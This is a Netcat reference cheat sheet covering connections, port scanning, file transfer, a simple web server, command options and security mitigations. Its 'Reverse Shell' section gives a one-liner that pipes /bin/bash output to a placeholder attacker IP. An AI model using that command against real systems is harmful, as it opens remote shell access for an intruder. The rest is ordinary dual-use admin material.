# Netcat Cheatsheet

A comprehensive cheat sheet for Netcat, covering essential commands, options, and usage examples for various networking tasks.

## Core Functionality

### Basic Usage

`nc <options> <hostname> <port>` - Basic syntax for establishing a Netcat connection.

**Example:** `nc example.com 80`

`nc -l -p <port>` - Listen for incoming connections on a specified port.

**Example:** `nc -l -p 12345`

`nc -u <options> <hostname> <port>` - Use UDP instead of TCP.

**Example:** `nc -u example.com 53`

`nc -v <options> <hostname> <port>` - Enables verbose mode for more detailed output.

**Example:** `nc -v example.com 25`

`nc -n <hostname> <port>` - Numerical-only IP address, no DNS lookup.

**Example:** `nc -n 192.168.1.100 80`

`nc -w <seconds> <hostname> <port>` - Specifies a timeout for connection attempts.

**Example:** `nc -w 5 example.com 80`

### Port Scanning

`nc -v -z <hostname> <portrange>` - Scan a range of ports to check for open services.

**Example:** `nc -v -z example.com 20-25`

`nc -v -z -u <hostname> <portrange>` - Scan UDP ports.

**Example:** `nc -v -z -u example.com 50-60`

`-z` - Zero-I/O mode (used for scanning). Only reports connection status.

## Advanced Features

### File Transfer

| | |
|---|---|
| **Sending File:** | `nc -l -p <port> > received_file` Listens on port and saves incoming data to `received_file`. |
| **Receiving File:** | `nc <hostname> <port> < file_to_send` Connects to the listener and sends the contents of `file_to_send`. |
| **Example (Sender):** | `nc 192.168.1.100 5000 < important.txt` |
| **Example (Receiver):** | `nc -l -p 5000 > important.txt` |

### Creating a Simple Web Server

Serving static content with Netcat:

```
while true; do nc -l -p 8080 < index.html; done
```

This will serve `index.html` on port 8080.

Alternative (more verbose) example:

```
while true; do
  echo -e 'HTTP/1.1 200 OK\n\n<html><body><h1>Hello, World!</h1></body></html>' | nc -l -p 8080
done
```

### Reverse Shell

| | |
|---|---|
| **Victim (Listening):** | `nc -l -p <port> \| /bin/bash 2>&1 \| nc <attacker_ip> <port2>` |
| **Attacker (Connecting):** | `nc -l -p <port2>` |
| **Explanation:** | The victim listens and pipes the shell to the attacker, who is also listening. |

## Netcat Options

### Common Options

| | |
|---|---|
| `-l` | Listen mode, for inbound connections. |
| `-p <port>` | Specify the port number. |
| `-u` | Use UDP instead of default TCP. |
| `-v` | Verbose mode. |
| `-n` | Numeric-only IP addresses, no DNS. |
| `-w <seconds>` | Timeout for connection attempts. |
| `-k` | Keep listening after client disconnects (multiple connections). |

### Advanced Options

| | |
|---|---|
| `-e <program>` | Execute a program after connection. |
| `-c <command>` | Execute command via sh after connection. |
| `-x <source_port>` | Source port number. |
| `-s <source_ip_address>` | Source IP address. |

## Security Considerations

| Security Risks | Mitigation Strategies | Alternatives |
| --- | --- | --- |
| Netcat lacks built-in encryption, making it vulnerable to eavesdropping and man-in-the-middle attacks. Data transmitted is in plain text. | Use Netcat in conjunction with encryption tools like `stunnel` or `OpenSSL` to secure the connection and protect sensitive data. | Consider using more secure alternatives like `ncat` (from Nmap project) which supports encryption and other security features.<br><br>`ncat --ssl example.com 443` |
| Using Netcat to create reverse shells can introduce significant security risks if not properly secured. Attackers can gain unauthorized access to systems. | Implement strong authentication mechanisms to verify the identity of connecting parties. | |
| Ensure that Netcat is used within a secure and trusted network to minimize the risk of unauthorized access and data breaches. | Apply firewall rules and access control policies to restrict Netcat usage to authorized users and networks. | |
| | Regularly audit Netcat usage and network traffic to detect and prevent unauthorized activities. | |